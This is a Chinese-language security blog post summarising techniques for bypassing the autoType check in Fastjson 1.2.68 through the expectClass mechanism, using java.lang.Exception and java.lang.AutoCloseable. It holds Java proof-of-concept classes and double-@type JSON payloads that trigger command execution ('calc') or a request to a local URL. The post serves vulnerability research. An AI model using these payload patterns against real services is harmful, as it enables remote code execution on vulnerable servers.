Fastjson1.2.68 绕Autotype的一点总结

Fastjson1.2.68 绕Autotype的一点总结 - tr1ple
2020-08-15 19:42:00 Author: www.cnblogs.com(查看原文) 阅读量:222 收藏

这篇文章主要总结学习目前网上关于1.2.68下绕过Autotype的一些方法用到的思路。

checkautotype因为是对要进行反序列化的类进行检测的方法

所以我们只需要让其返回Class类型的实例即可

一般会有以下几种情况通过验证：

1.autoTypeCheckHandlers不为null，通过此种方式来返回class

2.缓存mapping中的类：

从一处取的，在二处返回

其中在TypeUtils的addMappings中放入了一些基础类，也就是默认可以反序列化的相关类

3.不在黑名单，但在白名单之中的类

4.使用了jsonType注解的类

5.@type反序列化时执行了expectclass，指定了期望类

在判断为True时exceptclass不能为以下几种类型

并且反序列化的类不能继承或者实现Classloader、DataSource、RowSet

那么如果没有开AutoType，并且如果存在expectclass，即使要反序列化的类不在白名单中，也可以进行加载不在黑名单中的某些满足条件的类

第一种：

通过Throwable.class

import com.alibaba.fastjson.JSON;

import java.io.IOException;

public class testfj1268 extends Exception {

    private String domain;
    public testfj1268() {
        super();
    }
    public void setDomain(String domain) {
        this.domain = domain;
    }
    @Override
    public String getMessage() {
        try {
            Runtime.getRuntime().exec(new String[]{"cmd", "/c",domain});
        } catch (IOException e) {
            return e.getMessage();
        }

        return super.getMessage();
    }

    public static void main(String[] args) {
       String a = " {\n" +
               "            \"@type\":\"java.lang.Exception\",\n" +
               "                \"@type\": \"testfj1268\",\n" +
               "                \"domain\": \"calc\"\n" +
               "        }";
        JSON.parseObject(a);
    }
}

其中@type第一个类作为clazz(A)，二个作为expectClass(B)，这种绕过方式是因为Exception.class在parseConfig的mapping中，因此每到checkAutoType时就已经返回了clazz，那么接着为该类选择反序列化解析器，匹配到Throwable.class。

接着在反序列化第一个type指定的类时，此时将该类作为exClass

接着就能获取到要反序列化的类名exClassName传入checkAutoType，此时传入的第二个参数为Throable.class也为Exception.class的接口

那么在checkAutoType中第二个type处的类名将作为要校验的类名，Throwable将作为期望类

在这一步expectClassFlag置为True，此时只要反序列化的类不在黑名单中，即使不在白名单中，通过下图就能调用TypeUtils.loadClass进行加载

并且又因为有接下来的1处和2处的限制，那么要找到jndi这种的类还得实现了Throwable接口的，就很难，这也是比较鸡肋的一点。

返回clazz后，将通过createException实例化exClass，此时exClass就是返回的第二个type处的类，接着继续解析json将值放入otherValues，然后setvalue放入ex

此时将通过反射为ex对象赋值，其中method在解析

那么最终get的调用在完成赋值以后，将通过调用异常类的所有get方法包括接口以及自身定义的

比如调用getMessage时的调用栈如下所示：

y4er师傅博客中写到通过找checkAutoType的调用，看哪里传入的expectClass不为null，那么再看其逻辑，那么下面四个框，只有第二和第四，第四个是绕过点1，那么第二个绕过点就是点1

那么根据type指定的类在选择反序列化解析器时，AutoCloseable类使用的是else分支的javabeanDesearializer

此时函数调用栈如下：

那么因为AutoCloseable不在黑名单中并且其在mapping中，因此就可以返回clazz进行加载，因此通过它就能实现反序列化

比如：

import com.alibaba.fastjson.JSON;

import java.io.IOException;

public class testfj1268 implements AutoCloseable {

    private String domain;
    public testfj1268() {
        super();
    }
    public void setDomain(String domain) {
        this.domain = domain;
    }

    public String getDomain() throws IOException {
        System.out.println("tr1ple");
        Runtime.getRuntime().exec(domain);
        return domain;
    }

    public static void main(String[] args) {
       String a = " {\n" +
               "            \"@type\":\"java.lang.AutoCloseable\",\n" +
               "                \"@type\": \"testfj1268\",\n" +
               "                \"domain\": \"             calc      \"\n" +
               "        }";
        JSON.parseObject(a);
    }

    @Override
    public void close() throws Exception {
    }
}

为什么jndi的gadget不好找？因为常见的jndi的gadget都继承自 DataSource 和 RowSet，所以反序列化的类过不了对return clazz的最后的验证。

浅蓝师傅还分享了另一个例子：

import com.alibaba.fastjson.JSON;

import javax.activation.DataSource;
import javax.activation.URLDataSource;
import javax.swing.*;
import java.net.URL;

public class testfj1 extends Exception {

    public testfj1() {

    }

    private DataSource dataSource;

    public DataSource getDataSource() {
        return dataSource;
    }

    public void setDataSource(URL url) {
        this.dataSource = new URLDataSource(url);
    }

    public static void main(String[] args) {
        String a = "{\"@type\":\"java.lang.Exception\",\"@type\":\"testfj1\",\"dataSource\":{\"@type\":\"java.net.URL\",\"val\":\"http://127.0.0.1:8090/exp\"}}";
        JSON.parseObject(a);
    }
}